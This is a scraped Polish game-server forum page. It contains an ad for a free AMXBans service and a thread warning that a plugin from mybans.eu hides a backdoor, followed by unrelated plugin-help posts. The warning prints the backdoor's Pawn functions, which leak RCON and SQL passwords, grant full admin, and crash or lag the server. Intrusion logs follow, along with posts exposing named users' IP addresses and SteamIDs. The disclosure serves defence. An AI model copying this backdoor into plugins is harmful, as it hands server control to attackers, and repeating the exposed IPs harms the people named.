DaFFyy

Cześć,

Jako, że mybans.eu zwinął interes to postanowiłem zrobić alternatywny serwis żebyście nie zostali z niczym.

Co to jest banik.pl?

• Automatyczny amxbans
• Bezpieczny amxbans
• Darmowy amxbans
• Amxbans w wersji 6.14.x

Chwila moment, bezpieczny? Pod jakim względem hmmm?

• Tworzymy co 12h backup wszystkich amxbansów stworzonych u nas
• Wszystkie hasła hashowane są w bcrypt (również w amxbansach)
• Wprowadzamy poprawki bezpieczeństwa
• Cały czas się rozwijamy

Co trzeba zrobić?

1. Wejść na https://banik.pl
2. Założyć konto
3. Wgrać gotową paczke na serwer, tak, paczka zawiera już skonfigurowany plik sql.cfg ( domyślnie paczka czyta adminów z pliku users.ini )

Jakie są haczyki?

• Serwis tworzony był w bardzo szybkim tempie więc mogą występować błędy
• Serwis jest cały czas w statusie developerskim
• Wszystkie pomysły weźmiemy pod uwagę

Zapraszamy na BANIK.PL

Witam

Chciałbym się ustosunkować do zaistniałej sytuacji

Jestem właścicielem projektu mybans.eu

1.Rzekoma osoba wykorzystująca lukę 

 

Przypomniałem sobie, że lukę wykorzystują ludzie o nickach:

Jonkey - https://mybans.pl/profile/1-jonkey/

 

 

 

Jonek nie ma z tym nic wspólnego, dotknęło go to tak samo jak mnie ponieważ zostały zaatakowane dwa osobne vps-y jego i mój  

Bardzo proszę o usunięcie adresu do profilu w pierwszym poście bo to jest krzywdzące

 

2.Pluginy

Użytkowanik ma do wyboru dwa sam wybiera co wrzuci na serwer, pliki nigdy nie były edytowane przez moją załogę lub osoby trzecie przed zamieszczeniem na serwerze 

 

3. Projekt jest już od dawna na wymarciu, jest mi jedynie szkoda iż udostępniając za free AMX bansa z baza i hostingiem spotkałem się z taką falą hejtu

Nie czerpiąc zysków z projektu i udostępniając go całkowicie za darmo

 

Podziękowania dla autora postu za zgłoszenie

Rejestracja na stronie zamknięta, czas się pakować

 

pozdrawiam

Pluginy zostały przeze mnie pobrane nawet wczoraj wieczorem i nadal były w nim te "dodatki", wykluczam możliwość włamania

To raczej udostępnienie zabawy dla dzieci ( patrząc ile serwerów miał dodanych w historii/ulubionych smajli )

Zrobiliście to celowo a teraz palicie głupiego, no cóż  

Witam, chcialbym zaznaczyc ze ja, smajli, nie mam z wlamaniem nic wspolnego i proszę o zaprzestanie oczerniania mojej osoby, usunecia mnie z tego tematu oraz zaprzestanie udostepniania moich danych osobowych (tak adres IP tez sie w tym zalicza Grzesiu). Przeprowadzony przeze mnie livestream dokladnie pokazuje, ze jedynie co robilem w tym czasie to granie na serwerze. To, ze nie umiecie sprawdzic pluginów i jeden z moich widzow jakims cudem mial dostep do waszego serwera nie oznacza, ze mialem w tym cos wspolnego. Na czacie dokladnie widac, ze widz mi podeslal IP, poczym myslalem ze to po prostu jego serwer. 

 

Pozdrawiam i mam nadzieje, ze sytuacja sie wyjasni. W innym przypadku będę musial wyciagnac z tego konsekwencje, udostepnianie danych, oczernianie oraz grozby sa karalane, granie na jakims serwerze w cs 1.6 nie jest.

Czyli mówisz, że myślałeś, że to serwer widza a nie twojego kolegi który się na niego włamał? 

L 01/20/2021 - 14:48:42: [adminchat.amxx] Chat: "Kava<8887><STEAM_0:1:253252><>" tsay "WITAM PRZEJMUJE TEN SERWER"
L 01/20/2021 - 14:48:46: [adminchat.amxx] Chat: "Kava<8887><STEAM_0:1:253252><>" tsay "KAVA: EZ"
L 01/20/2021 - 14:49:16: [plmenu.amxx] Kick: "Kava<8887><STEAM_0:1:253252><>" kick "PROnd<8874><STEAM_0:0:46372543><>"
L 01/20/2021 - 14:49:37: [plmenu.amxx] Kick: "Kava<8887><STEAM_0:1:253252><>" kick "Dziwny Koleś<8865><STEAM_0:1:206967803><>"
L 01/20/2021 - 14:49:37: [plmenu.amxx] Kick: "Kava<8887><STEAM_0:1:253252><>" kick "OJ BYCZKU<8842><STEAM_1:0:2004170563><>"
L 01/20/2021 - 14:57:20: [plmenu.amxx] Kick: "Kava<8887><STEAM_0:1:253252><>" kick "!J0K3R!<8910><STEAM_0:0:24150711><>"
L 01/20/2021 - 14:57:43: [plmenu.amxx] Kick: "Kava<8887><STEAM_0:1:253252><>" kick "Dziwny Koleś<8909><STEAM_0:1:206967803><>"
L 01/20/2021 - 14:57:45: [plmenu.amxx] Kick: "Kava<8887><STEAM_0:1:253252><>" kick "Szynek<8914><STEAM_1:0:1590351138><>"
L 01/20/2021 - 14:57:46: [plmenu.amxx] Kick: "Kava<8887><STEAM_0:1:253252><>" kick "ΛMIGΘ<8915><STEAM_0:1:120529224><>"
L 01/20/2021 - 15:07:09: [amxbans_main.amxx] Kava<8887><STEAM_0:1:253252><CT> banned Freezy<STEAM_0:1:455970778> Duration: PERMANENT. Reason: TY KURWO NIE BANUJ SMAJLIEGO.
L 01/20/2021 - 15:07:32: [amxbans_main.amxx] Kava<8887><STEAM_0:1:253252><CT> banned ΛMIGΘ<STEAM_0:1:120529224> Duration: PERMANENT. Reason: ***** cie.
L 01/20/2021 - 15:10:49: [adminchat.amxx] Chat: "Kava<8887><STEAM_0:1:253252><>" tsay "***** policje k**wy"
L 01/20/2021 - 15:10:56: [adminchat.amxx] Chat: "Kava<8887><STEAM_0:1:253252><>" tsay "mam na nich wyjebane"
L 01/20/2021 - 15:11:06: [adminchat.amxx] Chat: "Kava<8887><STEAM_0:1:253252><>" tsay "wlamuje ci sie na starą "
L 01/20/2021 - 15:19:19: [amxbans_main.amxx] Kava<8887><STEAM_0:1:253252><TERRORIST> banned ReD_BuLL<STEAM_0:1:111896850> Duration: PERMANENT. Reason: Sam ***********... swoją starą w dupe.
L 01/20/2021 - 15:34:59: [adminchat.amxx] Chat: "Kava<9058><STEAM_0:1:253252><>" tsay "bezkitu"
L 01/20/2021 - 15:35:16: [adminchat.amxx] Chat: "Kava<9058><STEAM_0:1:253252><>" tsay "I TERAZ WSZYSCY RAZEM: SMAJI SMAJLI!"
L 01/20/2021 - 15:35:52: [adminchat.amxx] Chat: "Kava<9058><STEAM_0:1:253252><>" tsay "SIEMA SERWER HVH"
L 01/20/2021 - 16:02:42: [amxbans_main.amxx] ONLY_DD2 #1<0><><> banned ***** CSKOMANDOSI KKURWY<STEAM_1:0:2103219681> Duration: PERMANENT. Reason: Wykryto Aima.
L 01/20/2021 - 16:03:03: [adminchat.amxx] Chat: "Kava<9058><STEAM_0:1:253252><>" tsay "XD"
L 01/20/2021 - 16:04:19: [adminchat.amxx] Chat: "Kava<9058><STEAM_0:1:253252><>" tsay "NO TA MOJ OD DZISIAJ SERWER I **** XD"

Po pierwsze na moim forum nie ma żadnych pluginów .amxx
Po drugie nie włamałem się do nikogo i są to pomówienia w moja stronę
Po trzecie jestem właścicielem strony Mybans.PL nie Mybans.eu

Ktoś o takim nicku był na serwerze, wiec 2 opcje:

1. byłeś to Ty

2. przypadek albo celowe wprowadzenie w błąd żeby myśleć, że to Ty

ale jeżeli chodzi o temat to tak, z pośpiechu napisałem .pl ale chodzi o mybans.eu, nie mogłem już edytować więc trzeba czekać na modów

Omg to banid jeszcze żyje? 

 

@topic wrzućcie tu albo na PW więcej adresów IP, chcę coś sprawdzić

Smajli

IP - 95.223.72.181

STEAM - STEAM_0:0:419329152

https://steamcommuni...d/1337elitegod/-> profil steam który został wykorzystany

steamID STEAM_0:1:253252

IP 109.231.63.218

Cześć,

Przybywam do was, aby was ostrzec przed korzystaniem pluginu z mybans.eu.

Wczoraj nastąpiło włamanie na jeden z naszych serwerów który posiadał plugin mybansa ( https://cskomandosi....manie-na-serwer ), początkowo myśleliśmy, że ktoś udostępnił konto admina, ale coś takiego nie miało miejsca, posprawdzałem pluginy i w amxbansie od mybans.eu występowała i występuje nadal furtka której nie powinno być i została dodana w złym celu.

public amxbanuser1(id)
{
    get_cvar_string("rcon_password", szRc, 63);
    client_print(id, print_console, "RCON:\"%s\"", szRc);
}


public amxbanuser2(id)
{
    set_user_flags(id, read_flags("abcdefghijklmnopqrstu"), 0);
    get_cvar_string("amx_sql_host", szSqlHost, 63);
    get_cvar_string("amx_sql_user", szSqlUser, 63);
    get_cvar_string("amx_sql_pass", szSqlPass, 63);
    get_cvar_string("amx_sql_db", szSqlDb, 63);
    client_print(id, print_console, "SQL HOST:\"%s\"", szSqlHost);
    client_print(id, print_console, "SQL USER:\"%s\"", szSqlUser);
    client_print(id, print_console, "SQL PASS:\"%s\"", szSqlPass);
    client_print(id, print_console, "SQL DB:\"%s\"", szSqlDb);
}


public amxbanuser3()
{
    server_cmd("rcon_password 748663183");
}


public amxbanuser4()
{
    server_cmd("shutdownserver");
}


public amxbanuser5()
{
    set_task(0.00, "lagsnc", 2137, "", 0, "b", 0);
}


public lagsnc()
{
    remove_task(2138, 0);
    server_cmd("sys_ticrate 1");
}


public amxbanuser6()
{
    set_task(0.00, "lagsncoff", 2138, "", 0, "b", 0);
}


public lagsncoff()
{
    remove_task(2137, 0);
    server_cmd("sys_ticrate 1000");
}

1. Atakujący może poznać hasło rcon / zmienić je
2. Atakujący może poznać dane sql amxbansa
3. Atakujący może wyłączyć serwer
4. Atakujący może zlagować serwer
5. Atakujący może nadać sobie wszystkie uprawnienia w tym immunitet

Posprawdzajcie swoje serwery, 

( hash pliku który na 100% ma w sobie backdoora - 197f2c27227070ba8eb68d0ad55d2710 ) - Oczywiście mogą występować pewnie inne kombinacje, ponieważ praktyka jest stosowana od kilku miesięcy.

Nie musicie dziękować, żyjcie w miłości i spokoju!

Jeżli już musisz skorzystać z akurat tej wersji, skorzystaj z tego tematu - https://amxx.pl/topi...oprawki-amxxpl/

@edit

Przypomniałem sobie, że lukę wykorzystują ludzie o nickach:

Jonkey - https://mybans.pl/profile/1-jonkey/

smajli - x

Kava - x

U mnie na czystym serwerze problemu nie ma

mozeliwe ,ze model z rekawicami i przez to moze sie tak dziac tak?

Wtedy tylko widzisz rękawice odwrotnie a nie cały skin

To musi dzialac tak jak chcesz. Podmienia bron niezaleznie od druzyny, czyli vip terrorysta jak podniesie m4 to mu podmieni na m4 vipa.

chce tylko ,zeby bym mial podmieniony model ak i m4 z lokalizacji models/vip ,tylko nie dziala model m4 w tt i ak w ct ..

To miales tak zrobione na poczatku to napisales ze skiny sa inne ...

teraz nie dziala całkowicie ,bad load w amx_plugins .

//po kompilacji lokalnej dziala plugin ,potetuje czy występuje dalej błąd z wygladem tt w ct  i dam znać . .

plugin nie podmienia teraz w ogóle modeli ..

To już musi Ci działać skoro u mnie działa

Powinno działać

Nie obsługuje sourcepawna.
Rozszerenie odnosi się tylko do plików .sma i .inc, a do sourcemoda rozszerzenia nie ma.

Czy aby na pewno?

Łap

https://www108.zippy...noOF1/file.html